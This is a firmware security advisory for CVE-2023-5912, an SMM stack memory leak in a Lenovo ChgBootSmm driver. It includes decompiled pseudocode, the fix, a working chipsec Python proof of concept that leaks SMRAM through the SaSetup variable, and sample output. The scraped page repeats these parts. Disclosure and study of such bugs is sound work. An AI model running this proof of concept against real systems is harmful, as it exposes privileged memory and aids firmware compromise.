BRLY-DVA-2023-003

SMM memory contents leak / information disclosure vulnerability in SMM driver (SMRAM read).

Public Disclosure Date: Apr 10, 2025

CVE ID

CVE-2023-5912

[J1CN38WW](https://pcsupport.lenovo.com/us/en/products/laptops-and-netbooks/yoga-series/yoga-7-14ial7/82qe/82qe000lus/pf3fymvz/downloads/driver-list/component?name=BIOS%2FUEFI&id=5AC6A815-321D-440E-8833-B07A93E0428C)

Summary

BINARLY efiXplorer team has discovered a stack memory contents leak / information disclosure vulnerability that allows a potencial attacker to write stack memory to NVRAM variable.

Potential Impact

An attacker can exploit this vulnerability to elevate privileges from ring 0 to ring -2, and read SMM stack content (that can help to execute arbitrary code in System Management Mode - an evironment more privileged than operating system (OS) and completely isolated from it). Running arbitrary code in SMM additionally bypasses SMM-based SPI flash protections against modifications, which can help an attacker to install a firmware backdoor/implant into the BIOS. Such a malicious firmware code in the BIOS could persist across operating system re-installs. Additionally, this vulnerability potentially could be used by threat actors to bypass security mechanisms provided by the UEFI firmware (for example, Secure Boot and some types of memory isolation for hypervisors).

Vulnerability Information

BINARLY internal vulnerability identifier: BRLY-DVA-2023-003
Lenovo PSIRT assigned CVE identifier: CVE-2023-5912
CVSS v3.1 Score 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Table of Contents

01.Affected Lenovo firmware

02.Vulnerability description

03.Exploitation from the runtime (without physical access)

04.Disclosure timeline

05.Acknowledgements

Affected Lenovo firmware

Fimware	Module name	Module SHA256	File GUID
J1CN38WW	ChgBootSmm	22fb21b2e4b1993ce1e8e0df05cde287baaf124b3080abccb47d33ba90ba167c	4ca0062a-66fe-4be7-ace6-fde992c1c5ec

Vulnerability description

Vulnerability located in SMI handler with SwSmiInputValue = 0xCA. The vulnerable function sub_167C will be executed at the beginning of the handler.

The vulnerable function pseudocode is presented below:

MACRO_EFI sub_167C()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  SmiData = __inbyte(gB3DataPort);
  if ( SmiData < 36 )
    goto _EfiUnsupported;
  if ( SmiData > 38 )
  {
    if ( SmiData > 47 )
    {
      if ( SmiData <= 49 )
      {
        VendorGuid.Data1 = 0xA04A27F4;
        *&VendorGuid.Data2 = 0x4D42DF00;
        *VendorGuid.Data4 = 0x513952B5;
        *&VendorGuid.Data4[4] = 0x3D110213;
        gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
        DataSize = 1200;
        EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
        Data[240] = SmiData == 48;
        goto _SmmSetSetupVariable;
      }
      if ( SmiData <= 0x33 )
      {
        VendorGuid.Data1 = 0xA04A27F4;
        *&VendorGuid.Data2 = 0x4D42DF00;
        *VendorGuid.Data4 = 0x513952B5;
        *&VendorGuid.Data4[4] = 0x3D110213;
        gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
        DataSize = 1200;
        EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
        Data[244] = SmiData == 50;
        goto _SmmSetSetupVariable;
      }
      if ( SmiData <= 0x35 )
      {
        VendorGuid.Data1 = 0xA04A27F4;
        *&VendorGuid.Data2 = 0x4D42DF00;
        *VendorGuid.Data4 = 0x513952B5;
        *&VendorGuid.Data4[4] = 0x3D110213;
        gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
        DataSize = 1200;
        EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data);
        Data[246] = SmiData == 0x35;
_SmmSetSetupVariable:
        EfiSmmVariableProtocol->SmmSetVariable(L"Setup", &VendorGuid, 7, DataSize, Data);
        Status = EFI_SUCCESS;
        goto _Exit;
      }
    }
_EfiUnsupported:
    Status = EFI_UNSUPPORTED;
    goto _Exit;
  }
  gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol);
  DataSize = 1143;
  EfiSmmVariableProtocol->SmmGetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 0, &DataSize, Data);
  Value = 4;
  if ( SmiData == 38 )
    Value = 1;
  Status = EFI_SUCCESS;
  if ( SmiData == 36 )
    Value = 0;
  Data[177] = Value;
  EfiSmmVariableProtocol->SmmSetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 7, DataSize, Data);
_Exit:
  __outbyte(gB3DataPort, 0);
  return Status;
}

As we can see from the pseudocode, for the Setup and SaSetup variables EfiSmmVariableProtocol->SmmSetVariable() service is called with the DataSize value, which can be overwritten inside the EfiSmmVariableProtocol->SmmGetVariable() service.

Thus, a potential attacker can write X - INITIAL_DATA_SIZE bytes from the stack to NVRAM if writes any buffer of length X > INITIAL_DATA_SIZE to the SaSetup or Setup NVRAM variable:

for the Setup variable INITIAL_DATA_SIZE = 1200
for the SaSetup variable INITIAL_DATA_SIZE = 1143

In order to fix this vulnerability, the DataSize variable must be initialized each time before EfiSmmVariableProtocol->SmmSetVariable().

Exploitation from the runtime (without physical access)

It should be noted that the Setup variable cannot be changed from runtime, however 72c5e28c-7783-43a1-8767-fad73fccafa4-SaSetup can be changed from the runtime due to misconfiguration in variables filtering.

Below is the PoC code which shows that the value of the SaSetup variable can be changed from the runtime and after SMI handler execution attacker will able to obtain data from SMM stack:

import hexdump

import chipsec.chipset
from chipsec.hal.interrupts import Interrupts
from chipsec.hal.uefi import UEFI

cs = chipsec.chipset.cs()
cs.init("ADL", True, True)
uefi = UEFI(cs)
intr = Interrupts(cs)

SMI_NUM = 0xCA
SMI_DATA = 0x25


def main():
    size_to_leak = 0x100  # specify how many bytes we want to leak
    sasetup_initial_data = uefi.get_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
    )
    sasetup_new_data = sasetup_initial_data + b"A" * size_to_leak
    uefi.set_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
        sasetup_new_data,
        len(sasetup_new_data),
    )

    # leak SMM stack data
    intr.send_SW_SMI(0, SMI_NUM, SMI_DATA, 0, 0, 0, 0, 0, 0)
    value = uefi.get_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
    )
    leked_data = value[len(sasetup_initial_data) :]
    hexdump.hexdump(leked_data)

    # restore SaSetup variable
    uefi.set_EFI_variable(
        "SaSetup",
        "72c5e28c-7783-43a1-8767-fad73fccafa4",
        sasetup_initial_data,
        len(sasetup_initial_data),
    )


if __name__ == "__main__":
    main()

The result of the execution:

test@test:~/chipsec$ sudo python3 ChgBootSmm_poc.py
...
[CHIPSEC] Platform: Actual values: VID = 0x8086, DID = 0x4601, RID = 0x04, CPUID = 0x906A4
00000000: 00 41 00 00 00 00 00 00  00 90 21 D8 4B 00 00 00  .A........!.K...
00000010: 00 D1 A6 D1 4B 00 00 00  00 80 02 A6 40 00 00 00  ....K.......@...
00000020: 00 80 23 D8 4B 00 00 00  00 41 00 00 00 00 00 00  ..#.K....A......
00000030: 00 90 21 D8 4B 00 00 00  00 20 22 D8 4B 00 00 00  ..!.K.... ".K...
00000040: 00 8B E9 C3 4B 00 00 00  00 77 05 00 00 00 00 00  ....K....w......
00000050: 00 18 60 BA 4B 00 00 00  00 18 A0 C4 4B 00 00 00  ..`.K.......K...
00000060: 00 00 00 00 00 00 00 00  00 30 94 FF 4B 00 00 00  .........0..K...
00000070: 00 EA 5B FD 4B 00 00 00  00 50 24 D8 4B 00 00 00  ..[.K....P$.K...
00000080: 00 B1 21 D8 4B 00 00 00  00 B1 21 D8 4B 00 00 00  ..!.K.....!.K...
00000090: 00 F4 27 4A A0 00 DF 42  4D B5 52 39 51 13 02 11  ..'J...BM.R9Q...
000000A0: 3D 70 22 D8 4B 00 00 00  00 01 00 00 00 00 00 00  =p".K...........
000000B0: 00 40 22 D8 4B 00 00 00  00 80 02 00 00 00 41 00  .@".K.........A.
000000C0: 00 01 82 00 00 00 00 00  00 00 09 40 00 00 09 00  ...........@....
000000D0: 00 00 00 00 00 00 00 01  00 0B 7A 1D 06 E9 4F 05  ..........z...O.
000000E0: 76 3A 0F A9 20 BB 9A FE  A9 B4 D2 D7 7A 20 1F FC  v:.. .......z ..
000000F0: AC 4F 4C 65 47 CC 7D 59  13 E0 94 FF 4B 00 00 00  .OLeG.}Y....K...

Disclosure timeline

This vulnerability is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the vulnerability report will become visible to the public.

Disclosure Activity	Date (YYYY-mm-dd)
Insyde/Lenovo PSIRT is notified	2023-06-23
Insyde/Lenovo PSIRT assigned CVE number	2023-09-15
Insyde/Lenovo PSIRT provide patch release	2023-10-31
BINARLY public disclosure date	2025-04-10

Acknowledgements

BINARLY efiXplorer team

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Potential Impact

Fimware

Module name

Module SHA256

File GUID

J1CN38WW

ChgBootSmm

22fb21b2e4b1993ce1e8e0df05cde287baaf124b3080abccb47d33ba90ba167c

4ca0062a-66fe-4be7-ace6-fde992c1c5ec

MACRO_EFI sub_167C() { // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND] SmiData = __inbyte(gB3DataPort); if ( SmiData < 36 ) goto _EfiUnsupported; if ( SmiData > 38 ) { if ( SmiData > 47 ) { if ( SmiData <= 49 ) { VendorGuid.Data1 = 0xA04A27F4; *&VendorGuid.Data2 = 0x4D42DF00; *VendorGuid.Data4 = 0x513952B5; *&VendorGuid.Data4[4] = 0x3D110213; gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol); DataSize = 1200; EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data); Data[240] = SmiData == 48; goto _SmmSetSetupVariable; } if ( SmiData <= 0x33 ) { VendorGuid.Data1 = 0xA04A27F4; *&VendorGuid.Data2 = 0x4D42DF00; *VendorGuid.Data4 = 0x513952B5; *&VendorGuid.Data4[4] = 0x3D110213; gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol); DataSize = 1200; EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data); Data[244] = SmiData == 50; goto _SmmSetSetupVariable; } if ( SmiData <= 0x35 ) { VendorGuid.Data1 = 0xA04A27F4; *&VendorGuid.Data2 = 0x4D42DF00; *VendorGuid.Data4 = 0x513952B5; *&VendorGuid.Data4[4] = 0x3D110213; gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol); DataSize = 1200; EfiSmmVariableProtocol->SmmGetVariable(L"Setup", &VendorGuid, 0, &DataSize, Data); Data[246] = SmiData == 0x35; _SmmSetSetupVariable: EfiSmmVariableProtocol->SmmSetVariable(L"Setup", &VendorGuid, 7, DataSize, Data); Status = EFI_SUCCESS; goto _Exit; } } _EfiUnsupported: Status = EFI_UNSUPPORTED; goto _Exit; } gSmst->SmmLocateProtocol(&EFI_SMM_VARIABLE_PROTOCOL_GUID, 0, &EfiSmmVariableProtocol); DataSize = 1143; EfiSmmVariableProtocol->SmmGetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 0, &DataSize, Data); Value = 4; if ( SmiData == 38 ) Value = 1; Status = EFI_SUCCESS; if ( SmiData == 36 ) Value = 0; Data[177] = Value; EfiSmmVariableProtocol->SmmSetVariable(L"SaSetup", &SA_SETUP_VARIABLE_GUID, 7, DataSize, Data); _Exit: __outbyte(gB3DataPort, 0); return Status; }

import hexdump import chipsec.chipset from chipsec.hal.interrupts import Interrupts from chipsec.hal.uefi import UEFI cs = chipsec.chipset.cs() cs.init("ADL", True, True) uefi = UEFI(cs) intr = Interrupts(cs) SMI_NUM = 0xCA SMI_DATA = 0x25 def main(): size_to_leak = 0x100 # specify how many bytes we want to leak sasetup_initial_data = uefi.get_EFI_variable( "SaSetup", "72c5e28c-7783-43a1-8767-fad73fccafa4", ) sasetup_new_data = sasetup_initial_data + b"A" * size_to_leak uefi.set_EFI_variable( "SaSetup", "72c5e28c-7783-43a1-8767-fad73fccafa4", sasetup_new_data, len(sasetup_new_data), ) # leak SMM stack data intr.send_SW_SMI(0, SMI_NUM, SMI_DATA, 0, 0, 0, 0, 0, 0) value = uefi.get_EFI_variable( "SaSetup", "72c5e28c-7783-43a1-8767-fad73fccafa4", ) leked_data = value[len(sasetup_initial_data) :] hexdump.hexdump(leked_data) # restore SaSetup variable uefi.set_EFI_variable( "SaSetup", "72c5e28c-7783-43a1-8767-fad73fccafa4", sasetup_initial_data, len(sasetup_initial_data), ) if __name__ == "__main__": main()

test@test:~/chipsec$ sudo python3 ChgBootSmm_poc.py ... [CHIPSEC] Platform: Actual values: VID = 0x8086, DID = 0x4601, RID = 0x04, CPUID = 0x906A4 00000000: 00 41 00 00 00 00 00 00 00 90 21 D8 4B 00 00 00 .A........!.K... 00000010: 00 D1 A6 D1 4B 00 00 00 00 80 02 A6 40 00 00 00 ....K.......@... 00000020: 00 80 23 D8 4B 00 00 00 00 41 00 00 00 00 00 00 ..#.K....A...... 00000030: 00 90 21 D8 4B 00 00 00 00 20 22 D8 4B 00 00 00 ..!.K.... ".K... 00000040: 00 8B E9 C3 4B 00 00 00 00 77 05 00 00 00 00 00 ....K....w...... 00000050: 00 18 60 BA 4B 00 00 00 00 18 A0 C4 4B 00 00 00 ..`.K.......K... 00000060: 00 00 00 00 00 00 00 00 00 30 94 FF 4B 00 00 00 .........0..K... 00000070: 00 EA 5B FD 4B 00 00 00 00 50 24 D8 4B 00 00 00 ..[.K....P$.K... 00000080: 00 B1 21 D8 4B 00 00 00 00 B1 21 D8 4B 00 00 00 ..!.K.....!.K... 00000090: 00 F4 27 4A A0 00 DF 42 4D B5 52 39 51 13 02 11 ..'J...BM.R9Q... 000000A0: 3D 70 22 D8 4B 00 00 00 00 01 00 00 00 00 00 00 =p".K........... 000000B0: 00 40 22 D8 4B 00 00 00 00 80 02 00 00 00 41 00 .@".K.........A. 000000C0: 00 01 82 00 00 00 00 00 00 00 09 40 00 00 09 00 ...........@.... 000000D0: 00 00 00 00 00 00 00 01 00 0B 7A 1D 06 E9 4F 05 ..........z...O. 000000E0: 76 3A 0F A9 20 BB 9A FE A9 B4 D2 D7 7A 20 1F FC v:.. .......z .. 000000F0: AC 4F 4C 65 47 CC 7D 59 13 E0 94 FF 4B 00 00 00 .OLeG.}Y....K...

Disclosure Activity

Date (YYYY-mm-dd)

Insyde/Lenovo PSIRT is notified

2023-06-23

Insyde/Lenovo PSIRT assigned CVE number

2023-09-15

Insyde/Lenovo PSIRT provide patch release

2023-10-31

BINARLY public disclosure date

2025-04-10

Potential Impact

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Vulnerability Information

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Affected Lenovo firmware

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Vulnerability description

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Exploitation from the runtime (without physical access)

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Disclosure timeline

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Acknowledgements

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See if you are impacted now with our Firmware Vulnerability Scanner

Potential Impact

Image preview

Vulnerability Information

Image preview

Affected Lenovo firmware

Image preview

Vulnerability description

Image preview

Exploitation from the runtime (without physical access)

Image preview

Disclosure timeline

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Acknowledgements

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See if you are impacted now with our Firmware Vulnerability Scanner